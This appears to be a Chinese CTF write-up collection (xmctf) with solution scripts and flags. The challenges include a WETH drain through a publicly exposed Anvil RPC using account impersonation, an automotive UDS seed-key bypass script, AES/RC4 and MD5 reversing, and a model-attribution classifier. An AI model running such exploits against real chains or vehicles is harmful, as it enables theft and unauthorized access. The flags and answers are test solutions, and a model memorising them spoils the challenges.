<strong>kimci86/bkcrack</strong> 中攻击逻辑的 CTF 改写版。</p><p></p><p><strong>答案</strong></p><p></p><p>kimci86_bkcrack</p><p></p><p><strong>参考:</strong> [Attack.cpp(kimci86/bkcrack)](https://github.com/kimci86/bkcrack/blob/master/src/bkcrack/Attack.cpp)</p><p><strong>第三关:`3.py`</strong></p><p><strong>附件特征</strong></p><p>Django 视图:区块链记账、Merkle 根、SHA3-256 工作量证明、aadhar_no 登录等。</p><p>- <strong>强特征字符串</strong>:GET 参数名 `createPoliticianParties`(拼写少见,与 `createRandomVoters`、`castRandomVote` 一起出现在「生成假数据」逻辑中)。</p><p><strong>定位过程</strong></p><p>对 `createPoliticianParties` 做全站代码检索,可唯一指向 <strong>akverma26/voting-system-using-block-chain</strong> 的 `home/views.py` 与对应模板。</p><p>对照原项目:</p><p>models → 题目中的 db_schemas(模型类改名)</p><p>methods_module → security_helpers(函数改名)</p><p>merkle_tool.MerkleTools → hash_generator.MerkleGraph</p><p>ts_data → backend_metrics</p><p>业务路径与模板名(如 candidate_details.html、create-dummy-data.html)仍一致。</p><p><strong>答案</strong></p><p>akverma26_voting-system-using-block-chain</p><p><strong>参考:</strong> [voting-system-using-block-chain(akverma26)](https://github.com/akverma26/voting-system-using-block-chain)</p></td></tr></tbody></table></div>

flag:xmctf{ce678e59-8a2e-4946-9e1e-aef2ab985a85}
**Wrapped Ether**
RPC 为 **Anvil**(\`client: anvil/v1.5.1\`,\`chainId: 31337\`),且 **JSON-RPC 对公网开放时仍允许测试用接口**,例如:
anvil_impersonateAccount(address)
anvil_setBalance(address, balance)(按需给 impersonate 账户留 gas)
这相当于把「本地测试链上帝模式」暴露到了公网,**\*\*可伪造任意 \`from\` 发交易\*\***。
**利用链**
1\. **\*\*冒充 \`Setup\` 合约地址\*\***,对 WETH 调用
approve(player, type(uint256).max)。
\- 正常链上 Setup **没有**对外暴露 \`approve\` 的脚本,且玩家无法控制 Setup 私钥;这里靠 **impersonate** 完成。
玩家调用
transferFrom(Setup, player, balanceOf(Setup)),
把 Setup 的 **10 ETH 账面** 划到玩家。
3\. 玩家作为 **challenger** 调用
withdraw(10 ether)(或等价数额),
将 WETH 内 **全部原生 ETH** 转给玩家,\`address(weth).balance == 0\`。
4\. 题目页 **「Check Solution」** 对应 \`POST /api/solve\`,返回 flag。
**\---**
**关键信息(本实例)**
| | |
| --- | --- |
| 项 | 值 |
| RPC | http://<实例域名>/rpc |
| WETH | 0xCafac3dD18aC6c6e92c921884f9E4176737C052c |
| Setup | 由部署交易回执得到(本环境为 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512) |
| 玩家 | 题目给出的 Address / Private Key |
Setup 地址可在区块浏览器式排查中定位:找 **创建 WETH 的合约创建交易** 的 \`contractAddress\`,或根据日志中 \`Deposit\` 的 \`to\` 推断。
**\---**
**Exploit 步骤小结**
1\. eth_call 读 balanceOf(Setup) 与 WETH 余额,确认目标数额。
2\. anvil_impersonateAccount(Setup)
3\. eth_sendTransaction { from: Setup, to: WETH, data: approve(player, MAX) }
4\. 玩家签名发送 transferFrom(Setup, player, amt)
5\. 玩家签名发送 withdraw(amt)
6\. POST /api/solve → flag
#!/usr/bin/env python3
import json
import requests
from eth_abi import encode
from web3 import Web3
RPC = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn/rpc"
WETH = Web3.to_checksum_address("0xCafac3dD18aC6c6e92c921884f9E4176737C052c")
SETUP = Web3.to_checksum_address("0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512")
PLAYER_PK = "0x46e72a05b5571115a05144dd1093994b88eee07da1b42696289d24707821e0f"
w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout": 120}))
acct = w3.eth.account.from_key(PLAYER_PK)
PLAYER = acct.address
ABI = \[
{"inputs": \[{"name": "from", "type": "address"}, {"name": "to", "type": "address"}, {"name": "amount", "type": "uint256"}\], "name": "transferFrom", "outputs": \[\], "stateMutability": "nonpayable", "type": "function"},
{"inputs": \[{"name": "amount", "type": "uint256"}\], "name": "withdraw", "outputs": \[\], "stateMutability": "nonpayable", "type": "function"},
{"inputs": \[{"name": "a", "type": "address"}\], "name": "balanceOf", "outputs": \[{"type": "uint256"}\], "stateMutability": "view", "type": "function"},
\]
SETUP_ABI = \[{"inputs": \[\], "name": "isSolved", "outputs": \[{"type": "bool"}\], "stateMutability": "view", "type": "function"}\]
def jrpc(method: str, params: list) -> dict:
r = requests.post(RPC, json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params}, timeout=120)
r.raise_for_status()
out = r.json()
if "error" in out:
raise RuntimeError(out\["error"\])
return out\["result"\]
def main():
w = w3.eth.contract(address=WETH, abi=ABI)
setup_c = w3.eth.contract(address=SETUP, abi=SETUP_ABI)
amt = w.functions.balanceOf(SETUP).call()
print("WETH native (wei):", w3.eth.get_balance(WETH))
print("balanceOf\[setup\]:", amt)
print("isSolved (before):", setup_c.functions.isSolved().call())
\# 1) Impersonate Setup and approve player (misconfigured public anvil RPC)
jrpc("anvil_impersonateAccount", \[SETUP\])
sel = Web3.keccak(text="approve(address,uint256)")\[:4\]
data = "0x" + sel.hex() + encode(\["address", "uint256"\], \[PLAYER, 2\*\*256 - 1\]).hex()
tx_hash = jrpc(
"eth_sendTransaction",
\[
{
"from": SETUP,
"to": WETH,
"data": data,
"gas": hex(500_000),
}
\],
)
print("approve tx:", tx_hash)
rcpt = w3.eth.wait_for_transaction_receipt(tx_hash)
print("approve status:", rcpt.status)
\# 2) Player: transferFrom then withdraw
c = w3.eth.contract(address=WETH, abi=ABI)
chain_id = w3.eth.chain_id
nonce = w3.eth.get_transaction_count(PLAYER)
gp = w3.eth.gas_price
def fill_and_sign(tx_dict, n):
tx_dict\["chainId"\] = chain_id
tx_dict\["nonce"\] = n
tx_dict\["gas"\] = 500_000
if "maxFeePerGas" not in tx_dict and "gasPrice" not in tx_dict:
tx_dict\["gasPrice"\] = int(gp \* 2) or 10\*\*9
return w3.eth.account.sign_transaction(tx_dict, PLAYER_PK)
t0 = c.functions.transferFrom(SETUP, PLAYER, amt).build_transaction({"from": PLAYER})
st0 = fill_and_sign(t0, nonce)
h0 = w3.eth.send_raw_transaction(st0.raw_transaction)
w3.eth.wait_for_transaction_receipt(h0)
print("transferFrom ok:", h0.hex())
t1 = c.functions.withdraw(amt).build_transaction({"from": PLAYER})
st1 = fill_and_sign(t1, nonce + 1)
h1 = w3.eth.send_raw_transaction(st1.raw_transaction)
w3.eth.wait_for_transaction_receipt(h1)
print("withdraw ok:", h1.hex())
print("WETH native (wei):", w3.eth.get_balance(WETH))
print("isSolved (after):", setup_c.functions.isSolved().call())
base = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn"
r = requests.post(f"{base}/api/solve", json={}, timeout=60)
print("solve API:", r.status_code, r.text)
if **name** == "**main**":
main()
**ModelMark**
**Proof of Work**
连接后服务端给出:
sha256(<salt> + x) 的十六进制以若干位 0 开头
对 x = 0, 1, 2, … 暴力枚举即可。难度较低时毫秒级到秒级可出解。
**2\. 观察数据与强特征**
对 dataset_train.json 统计可得:
\- **DeepSeek-R1**:回答里几乎总带 **\*\*\`</think>\`\*\***(思维链结束标记),与其它三类几乎不重叠。
\- **Hunyuan**:在**没有** \`</think>\` 时,出现 **\*\*\`很抱歉\`\*\*** 的比例明显偏高(需先排除 DeepSeek,避免极少数 DeepSeek 样本同时含「很抱歉」被误判)。
据此可先写两条高置信规则,再对其余样本用分类器。
**3\. 文本分类(Qwen / GLM / 剩余情况)**
仅用英文分词习惯的 **word n-gram TF-IDF** 对中文区分度一般(交叉验证约六成多),8 连对概率过低。
改用 **字符 n-gram**(如 2–5)提取特征,配合 **线性 SVM**(\`LinearSVC\`),在同一数据集上三折交叉验证可达约 **九成** 量级,足以实战稳定过关。
**4\. 精确匹配**
若某轮 \`question\` + \`answer\` 与训练集完全一致,可直接查表得 \`model\`。数据中存在**极个别** \`(question, answer)\` 对应两个模型的情况,需对候选列表做歧义处理(例如再交给分类器在候选内选)。
**5\. 协议与编码**
\-通信内容为 **UTF-8**,解析时用 \`decode('utf-8')\`。
每轮格式大致为:Question: / Answer: / Which model? / >,用正则取出问答正文后在超时前发送 1–4 与换行。
#!/usr/bin/env python3
"""ModelMark CTF: PoW + 连续 8 次模型归属判定。"""
import hashlib
import json
import os
import re
import socket
import time
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.pipeline import Pipeline
from sklearn.svm import LinearSVC
MODELS = \[
"Qwen/Qwen3-8B",
"deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
"THUDM/GLM-4.1V-9B-Thinking",
"tencent/Hunyuan-MT-7B",
\]
MODEL_TO_IDX = {m: i + 1 for i, m in enumerate(MODELS)}
def solve_pow(salt: str, difficulty: int) -> str:
prefix = "0" \* difficulty
n = 0
while True:
x = str(n)
if hashlib.sha256((salt + x).encode()).hexdigest().startswith(prefix):
return x
n += 1
def build_lookup(data):
d = {}
for o in data:
k = (o\["question"\].strip(), o\["answer"\].strip())
if k not in d:
d\[k\] = \[\]
d\[k\].append(o\["model"\])
return d
def train_classifier(data):
texts = \[o\["question"\].strip() + "\\n\\n" + o\["answer"\].strip() for o in data\]
y = \[o\["model"\] for o in data\]
clf = Pipeline(
\[
(
"tfidf",
TfidfVectorizer(
analyzer="char",
ngram_range=(2, 5),
max_features=120000,
min_df=2,
sublinear_tf=True,
),
),
("svc", LinearSVC(C=0.35, max_iter=6000, dual=False, random_state=0)),
\]
)
clf.fit(texts, y)
return clf
def predict_model(lookup, clf, question: str, answer: str) -> int:
q, a = question.strip(), answer.strip()
key = (q, a)
if key in lookup:
cands = lookup\[key\]
if len(cands) == 1:
return MODEL_TO_IDX\[cands\[0\]\]
m = clf.predict(\[q + "\\n\\n" + a\])\[0\]
if m in cands:
return MODEL_TO_IDX\[m\]
return MODEL_TO_IDX\[cands\[0\]\]
if "</think>" in a:
return MODEL_TO_IDX\["deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"\]
if "很抱歉" in a:
return MODEL_TO_IDX\["tencent/Hunyuan-MT-7B"\]
m = clf.predict(\[q + "\\n\\n" + a\])\[0\]
return MODEL_TO_IDX\[m\]
def recv_idle(s: socket.socket, hint: bytes = b"", idle=0.25, max_wait=15.0) -> bytes:
buf = bytearray(hint)
deadline = time.time() + max_wait
s.settimeout(idle)
while time.time() < deadline:
try:
c = s.recv(262144)
if not c:
break
buf.extend(c)
except (TimeoutError, socket.timeout):
break
return bytes(buf)
def parse_qa(text: str):
m = re.search(
r"Question:\\s\***\\r**?**\\n**(.+?)**\\r**?**\\n\\r**?**\\n**Answer:\\s\***\\r**?**\\n**(.+?)**\\r**?**\\n\\r**?**\\n**Which model**\\?**",
text,
re.DOTALL,
)
if not m:
return None, None
return m.group(1).strip(), m.group(2).strip()
def main():
base = os.path.dirname(os.path.abspath(**file**))
with open(os.path.join(base, "dataset_train.json"), encoding="utf-8") as f:
data = json.load(f)
lookup = build_lookup(data)
print("Training char n-gram LinearSVC...")
clf = train_classifier(data)
print("Ready.")
s = socket.create_connection(("nc1.ctfplus.cn", 42396), timeout=30)
buf = b""
s.settimeout(5)
while b"x =" not in buf:
buf += s.recv(8192)
t0 = buf.decode("utf-8", errors="replace")
m = re.search(r"sha256**\\(**(\[^)\]+)\\s\***\\+**\\s\*x**\\)**", t0)
salt = m.group(1).strip()
dm = re.search(r"starts with (0+)", t0)
diff = len(dm.group(1)) if dm else 4
sol = solve_pow(salt, diff)
print("PoW:", sol)
s.sendall((sol + "\\n").encode())
tail = buf.split(b"x =", 1)\[-1\] if b"x =" in buf else b""
buf = recv_idle(s, hint=tail, idle=0.28, max_wait=18.0)
round_i = 0
while round_i < 25:
text = buf.decode("utf-8", errors="replace")
low = text.lower()
if "flag" in low or "ctf{" in text or "flag{" in text:
print(text)
break
if "wrong" in low or "incorrect" in low:
print("失败片段:\\n", text\[-1200:\])
q, a = parse_qa(text)
if q is None:
buf = recv_idle(s, idle=0.28, max_wait=10.0)
text = text + buf.decode("utf-8", errors="replace")
q, a = parse_qa(text)
if q is None:
print("无法解析:\\n", text\[-1800:\])
break
choice = predict_model(lookup, clf, q, a)
print(f"Round {round_i + 1}: choice {choice}")
s.sendall((str(choice) + "\\n").encode())
round_i += 1
buf = recv_idle(s, idle=0.32, max_wait=18.0)
s.close()
if **name** == "**main**":
main()
**re**
**ez_uds**
题目描述
题目提供了一个 ECU UDS Security Server,并提示支持的服务:
0x27 SecurityAccess
使用方法:
27 01 -> Request Seed
27 02 <4byteskey> -> Send Key
示例:
27 01
27 02 12 34 56 78
题目同时给出了 Key 计算算法:
def generate_seed():
return random.randint(0, 0xFFFFFFFF)
def calculate_key(seed):
key = seed ^ 0xA5A5A5A5
key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
key = (key + 0x12345678) & 0xFFFFFFFF
return key
key的计算就是先异或,再左移3bit,加上常数,得到一个32bit key,
构造脚本发送2701,解析返回的seed,按算法算key,再发送2702+key得到flag
from pwn import \*
import re
r = remote('nc1.ctfplus.cn', 46662)
def calculate_key(seed):
key = seed ^ 0xA5A5A5A5
key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
key = (key + 0x12345678) & 0xFFFFFFFF
return key
\# 接收 banner
print(r.recvuntil(b"Input HEX").decode())
\# 请求 seed
print("\[+\] Requesting Seed")
r.sendline(b"2701")
#读取服务器返回
resp = r.recvline().decode()
print("\[+\] Raw Response:", resp)
#提取 hex
hex_data = re.findall(r"\[0-9A-Fa-f\]{2}", resp)
#seed 在最后4字节
seed_bytes = hex_data\[-4:\]
seed_hex = "".join(seed_bytes)
seed = int(seed_hex, 16)
print(f"\[+\] Seed: {seed_hex} (0x{seed:08x})")
#计算 key
key = calculate_key(seed)
key_hex = f"{key:08x}"
print(f"\[+\] Key: {key_hex}")
\# 发送 key
payload = f"2702{key_hex}"
print("\[+\] Sending:", payload)
r.sendline(payload.encode())
\# 获取 flag
print(r.recvall(timeout=3).decode())

**Illusion**
**1\. 题目概览**
程序提示输入 flag,存在多条逻辑链:
\- **\*\*\`main\`\*\***:对输入做格式校验后,将花括号内 18 字节拷到全局 \`Destination\`,再调用 **\*\*\`sub_140001440\`\*\*** 与常量比对(实为 **RC4**)。
\- **\*\*\`sub_1400010F0\`\*\***(可由 TLS/初始化等路径进入):读取 \`Destination\` 前若干字节,经 **PKCS#7 填充** 后做 **AES-128-ECB** 双分组加密,与内存中 **32 字节**硬编码密文逐字节比对。
.rdata 中既有用于 RC4 向量初始化的 XMM 常量,也有标准 **AES S 盒**(\`byte_14001D440\`),容易误判「整题都是 AES」。实际上:**校验 flag 内容的可读解在 AES 链路上**;\`main\` 里的 RC4 是另一套约束(且会得到含不可见字符的结果),与常见平台提交的 flag 往往不一致。
**2.\`main\` 侧(格式 + RC4,简述)**
scanf("%25s", …) 读入最多 25 字符。
2\. 前缀检查:小端 \`WORD\` 为 \`0x6D78\` → **\*\*\`xm\`\*\***;随后 **\*\*\`ctf{\`\*\***(单字节比较)。
3\. \`Source\[18\] == '}'\`,且 \`strlen\` 整体为 **25** → 花括号内 **18** 字节。
strncpy(Destination, Source, 0x12),byte_140028B12 = 0 保证 strlen(Destination) == 18。
5\. **\*\*\`sub_140001440\`\*\***:\`xmmword_14001D420\` / \`14001D430\` 将 S 盒初始化为 \`0..255\`,密钥为 **\*\*\`nev_gona_give_up\`\*\***,标准 RC4 后与栈上 \`v9\`/\`v10\` 常量比对。
若只跟这条算到底,会得到类似 **\*\*\`nev_gona_letydown\` + \`0x07\`\*\*** 的内层,与多数题库「纯可见 flag」不符,需结合下文 AES 路径。
**3\. AES 链路:\`sub_1400010F0\`**
**3.1 密钥材料**
栈上 v77\[4\] 赋值为:
| | | |
| --- | --- | --- |
| 下标 | 十进制 | 小端 4 字节 |
| 0–2 | 873608210 | 12 03 23 34 |
| 3 | 559105345 | 41 41 40 21 |
拼成 **16 字节 AES-128 密钥**:
12 03 23 34 12 03 23 34 12 03 23 34 41 41 40 21
**3.2 密钥扩展**
**\*\*\`sub_1400019F0\` → \`sub_140001D00\`\*\***:对 16 字节密钥做 **AES KeyExpansion**,使用 \`byte_14001D440\` 的 S 盒及偏移处的 **Rcon**,与 OpenSSL/Crypto 标准实现一致。
**3.3 明文与分组**
**\*\*\`sub_140001690(Src, len)\`\*\***:\`memcpy\` 后按 **PKCS#7** 将长度补到 **16 的倍数**。
Destination 中花括号内为 **18** 字节时,补 **14** 个 \`0x0E\`,总长 **32** 字节。
**3.4 加密**
**\*\*\`sub_1400019E0\`\*\*** 即 **\*\*\`sub_140001A00\`\*\***:对 4×4 状态做 **SubBytes、ShiftRows、MixColumns、AddRoundKey**,共 **10 轮**,即 **AES-128**。
sub_1400010F0 中循环 **2 次**,每次处理 **16** 字节 → **AES-128-ECB**,两分组。
**3.5 密文校验(从反编译提取)**
按链式条件整理出 **32 字节**目标密文(索引与 \`v8\[\]\` 一致):
F2 7B 7E 75 B4 5C 08 FA 19 3C 8A 4A 04 F8 1F 67
1B 05 9C E7 27 40 78 6D 28 F6 A8 B8 06 C6 C5 51
(首字节由 v8\[1\]=='{' 且 v8\[0\]==0xF2 等条件共同约束。)
**4\. 解密求 Flag**
使用 **AES-128-ECB**,密钥为上述 16 字节,对上述 32 字节做 **decrypt**,再 **去除 PKCS#7**,得到 **18** 字节明文:
R3a1_w0rld_M47ters
含义可读作:**Real_world_Matters**(leet 写法)。
外层格式仍为题目在 \`main\` 中要求的 **\*\*\`xmctf{...}\`\*\***,故最终 flag:
xmctf{R3a1_w0rld_M47ters}
import struct
import sys
try:
from Crypto.Cipher import AES
except ImportError:
print("pip install pycryptodome", file=sys.stderr)
sys.exit(1)
v77\[0..3\] 小端拼成 16 字节 AES-128 密钥
KEY = struct.pack("<IIII", 873608210, 873608210, 873608210, 559105345)
sub_1400010F0 中 v8\[0..31\] 目标密文(32 字节,2×AES 块)
CIPHERTEXT = bytes.fromhex(
"f27b7e75b45c08fa193c8a4a04f81f67"
"1b059ce72740786d28f6a8b806c6c551"
)
def pkcs7_unpad(data: bytes) -> bytes:
if not data:
raise ValueError("empty data")
pad = data\[-1\]
if pad < 1 or pad > 16:
raise ValueError(f"invalid PKCS#7 pad byte: {pad}")
if not all(b == pad for b in data\[-pad:\]):
raise ValueError("invalid PKCS#7 padding")
return data\[:-pad\]
def main() -> None:
cipher = AES.new(KEY, AES.MODE_ECB)
plain_padded = cipher.decrypt(CIPHERTEXT)
inner = pkcs7_unpad(plain_padded).decode("ascii")
print("key (hex):", KEY.hex())
print("ciphertext (hex):", CIPHERTEXT.hex())
print("inner (18 bytes):", inner)
print("flag:", f"xmctf{{{inner}}}")
if **name** == "**main**":
main()
flag:xmctf{R3a1_w0rld_M47ters}

**移动的秘密**
程序提示输入 flag(scanf("%29s", ...),最长 29 字符),校验通过后输出 right,否则 wrong。
校验分为两层,**必须同时通过**:
1\. 对输入每个字节做 **\*\*\`unsigned char\` 意义下的右移 1 位\*\***(即 \`c >> 1\`),得到 29 字节序列,与 \`.rodata\` 中两段 \`xmmword\` 重叠拼接后的常量比较。
2\. 将**原始输入串**(长度 \`strlen(s)\`)送入一段与 **MD5** 等价的更新与填充逻辑,得到的 **16 字节摘要**再与另一处常量比较。
**2\. 第一层:\`>> 1\` 丢了最低位**
反编译 main 中核心循环可概括为:
for (i = 0; i < len; i++)
buf\[i\] = (unsigned char)s\[i\] >> 1;
// memcmp(buf, expected_29_bytes, len) 需为真
对任意目标字节 T,若存在 c 满足 (c >> 1) == T,则:
\\\[
c \\in \\{ (T \\ll 1),\\ (T \\ll 1) \\mid 1 \\}
\\\]
即**每个字符只有两种可能**(最低位 0 或 1)。单独靠这一层无法唯一确定 flag,需要第二层缩小搜索空间。
.rodata 中先用 \`xmmword_3080\` 写入 \`v14\[0..15\]\`,再在 \`v14+13\` 处写入 \`xmmword_3090\`,因此 **13..15 与 3090 前 3 字节重叠覆盖**,最终得到 **29 字节**期望序列(与从 IDA 读出的内存一致)。
**3\. 第二层:标准 MD5**
在 0x3060 处可读到 16 字节:
01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
按小端 32 位字解读即为 MD5 标准初始向量 **IV**(\`0x67452301, 0xEFCDAB89, ...\`)。
sub_1DF0 为按块更新(含长度计数与 memcpy 块处理),\`sub_13C0\` 为 MD5 压缩轮函数,\`sub_1F60\` 完成 **0x80 填充、长度附加** 并输出 **16 字节小端状态**作为摘要。
main 将 IV 载入局部结构后,对**用户输入的原始字符串**调用更新与终结,结果与 **\*\*\`0x3070\`\*\*** 处的 16 字节目标比较。
因此第二层等价于:
MD5(输入字符串) == 目标摘要(二进制与 0x3070 处一致)
**4\. 解题思路**
从二进制或 IDA 中导出:expected_shifted\[29\]、md5_target\[16\]。
对每个位置 i,候选字符为 c0 = (T<<1)&0xff、c1 = c0|1。
3\. 若要求可读 flag 格式 **\*\*\`xmctf{...}\`\*\***:
\- 前 6 个字符在 \`>>1\` 约束下**唯一**确定为 \`xmctf{\`(例如 \`{\` 必须取 \`0x7b\` 而非 \`0x7a\`)。
末位 } 对应 T=0x3e 时须取 0x7d。
4\. 中间剩余位置的二义性共约 **22 bit**,枚举 \`2^22\` 种组合,对每种计算 **MD5**,与目标匹配即得 flag。
复杂度约 **4×10⁶ 次 MD5**,普通 PC 上秒级可完成。
#!/usr/bin/env python3
\-\*- coding: utf-8 -\*-
from **future** import annotations
import hashlib
#第一层: (flag\[i\] >> 1) 应等于该序列(29 字节)
SHIFTED_EXPECTED = bytes(
\[
0x3C,
0x36,
0x31,
0x3A,
0x33,
0x3D,
0x3B,
0x32,
0x36,
0x31,
0x18,
0x36,
0x32,
0x2F,
0x19,
0x2F,
0x38,
0x37,
0x36,
0x30,
0x39,
0x18,
0x39,
0x2F,
0x18,
0x18,
0x19,
0x19,
0x3E,
\]
)
#第二层: MD5(flag) 的 16 字节原始输出(与内存 0x3070 一致)
MD5_TARGET = bytes(
\[
0x3A,
0x22,
0xC0,
0x98,
0x71,
0x00,
0x19,
0xB3,
0x1C,
0x32,
0x8A,
0x86,
0x14,
0x29,
0xD3,
0xAD,
\]
)
def char_from_shifted(byte_shifted: int, lsb: int) -> int:
"""由 (c >> 1) == byte_shifted 恢复 c,lsb in {0,1}。"""
return ((byte_shifted << 1) | (lsb & 1)) & 0xFF
def build_flag(mask: int, prefix_bits: list\[tuple\[int, int\]\], suffix_bits: list\[tuple\[int, int\]\]) -> bytes:
"""
prefix_bits / suffix_bits: \[(index, lsb), ...\] 固定位置的比特选择。
mask: 对剩余下标按顺序取比特(低位对应第一个自由位)。
"""
n = len(SHIFTED_EXPECTED)
chars = \[0\] \* n
fixed = dict(prefix_bits + suffix_bits)
free_indices = \[i for i in range(n) if i not in fixed\]
assert len(free_indices) <= 32
for i, lsb in fixed.items():
chars\[i\] = char_from_shifted(SHIFTED_EXPECTED\[i\], lsb)
m = mask
for k, i in enumerate(free_indices):
lsb = (m >> k) & 1
chars\[i\] = char_from_shifted(SHIFTED_EXPECTED\[i\], lsb)
return bytes(chars)
def solve() -> bytes | None:
\# xmctf{ 与 } 在 >>1 约束下的典型选择(与 WP 一致)
prefix_bits = \[
(0, 0), # 'x'
(1, 1), # 'm'
(2, 1), # 'c'
(3, 0), # 't'
(4, 0), # 'f'
(5, 1), # '{'
\]
suffix_bits = \[(28, 1)\] # '}'
free_indices = \[i for i in range(len(SHIFTED_EXPECTED)) if i not in dict(prefix_bits + suffix_bits)\]
total = 1 << len(free_indices)
print(f"\[\*\] 枚举 {len(free_indices)} 个自由位, 共 {total} 种组合 ...")
for mask in range(total):
candidate = build_flag(mask, prefix_bits, suffix_bits)
if hashlib.md5(candidate).digest() == MD5_TARGET:
return candidate
return None
def main() -> None:
import sys
if hasattr(sys.stdout, "reconfigure"):
try:
sys.stdout.reconfigure(encoding="utf-8")
except Exception:
pass
flag = solve()
if flag is None:
print("\[-\] 未找到满足 MD5 的字符串(请检查常量是否与当前二进制一致)")
return
s = flag.decode("ascii")
print("\[+\] Flag:", s)
\# 自证:>>1 与 MD5
shifted = bytes((b >> 1) & 0xFF for b in flag)
assert shifted == SHIFTED_EXPECTED
assert hashlib.md5(flag).digest() == MD5_TARGET
print("\[+\] 校验: >>1 序列与 MD5 均匹配。")
if **name** == "**main**":
main()

Flag:xmctf{welc0me_2_polar1s_1022}
**ezFinger**
**一、\`sub_8003498\`(0x8003498)**
**反编译要点**
函数内大量访问固定外设地址:
\- \`0x40023804\`:STM32F4 系列 **RCC->PLLCFGR**
\- \`0x40023808\`:**RCC->CFGR**
并根据 SYSCLK 来源(HSI/HSE/PLL)、PLL 参数做整数运算,最终返回一个 **频率值(Hz 量级)**。这与 ST 官方 HAL 中根据 RCC 寄存器计算系统时钟的例程一致。
**交叉引用**
对 \`0x8003498\` 做 **xref**,可见调用方(如 \`sub_800356C\`)在修改 \`RCC_CFGR\`、配合 \`PWR\` 相关寄存器后,执行:
dword_20000024 = sub_8003498() >> ...;
典型用途:时钟树配完后,把 **当前 SYSCLK 频率**存下来,供 **SysTick** 或延时库使用。进一步印证这是「取系统时钟频率」而不是单纯读 HCLK 分频后的 \`HAL_RCC_GetHCLKFreq\`(后者通常显式包含 AHB 预分频)。
**结论:**
**\*\*\`sub_8003498\` ↔ \`HAL_RCC_GetSysClockFreq\`\*\***
**二、\`sub_8000EC0\`(0x8000EC0)**
**反编译要点**
逻辑概要:
1\. 第一个参数视为 **Arduino 风格的逻辑引脚号**;若大于 \`0x5F\` 则无效。
2\. 通过全局表 **\*\*\`aInMKi\`\*\*** 做映射(等价于 \`digitalPinToPinName\` 一类 pin map)。
3\. 调用 **\*\*\`sub_8000F10\`\*\***:按「端口 + 引脚位」从某结构里取位,判断引脚是否已配置——与 Arduino Core 里 **\*\*\`g_digPinConfigured\` / is_pin_configured\*\*** 一类位图一致。
4\. 再经 **\*\*\`sub_8000F64\`\*\*** 得到 GPIO 外设基址,**\*\*\`sub_800128E\` → \`sub_800227C\`\*\*** 写入端口寄存器。
**关键底层:\`sub_800227C\`**
反编译形态为:
目标地址 = GPIO_base + 0x18
\- STM32 **\*\*\`GPIO_TypeDef\`\*\*** 中 **\*\*\`BSRR\` 偏移正是 0x18\*\***(十进制 24)。
\- 根据第三参数决定写入低 16 位或高 16 位,对应 **置位 / 复位** 引脚电平。
这是 **\*\*\`HAL_GPIO_WritePin\` 的核心写 BSRR 行为\*\***;但本题问的是 **\*\*\`0x8000EC0\` 这一层\*\***的语义名称,而不是最里层 HAL。
**字符串侧证**
固件中存在 Arduino STM32 包路径类字符串,例如指向:
.../packages/STM32/hardware/stm32/1.3.0/cores/arduino/HardwareSerial.cpp
说明工程基于 **Arduino_Core_STM32**,GPIO 数字输出 API 为 **\*\*\`digitalWrite(uint32_t ulPin, uint32_t ulVal)\`\*\***,其实现正是:pin 名解析 → 检查是否 \`pinMode\` 配置过 → 调 \`digital_io_write\`(最终写 BSRR)。
Flag:xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}
支持LswZHGre
👍👍👍带带
我勒个豆
太强了
加油
太强了
厉害!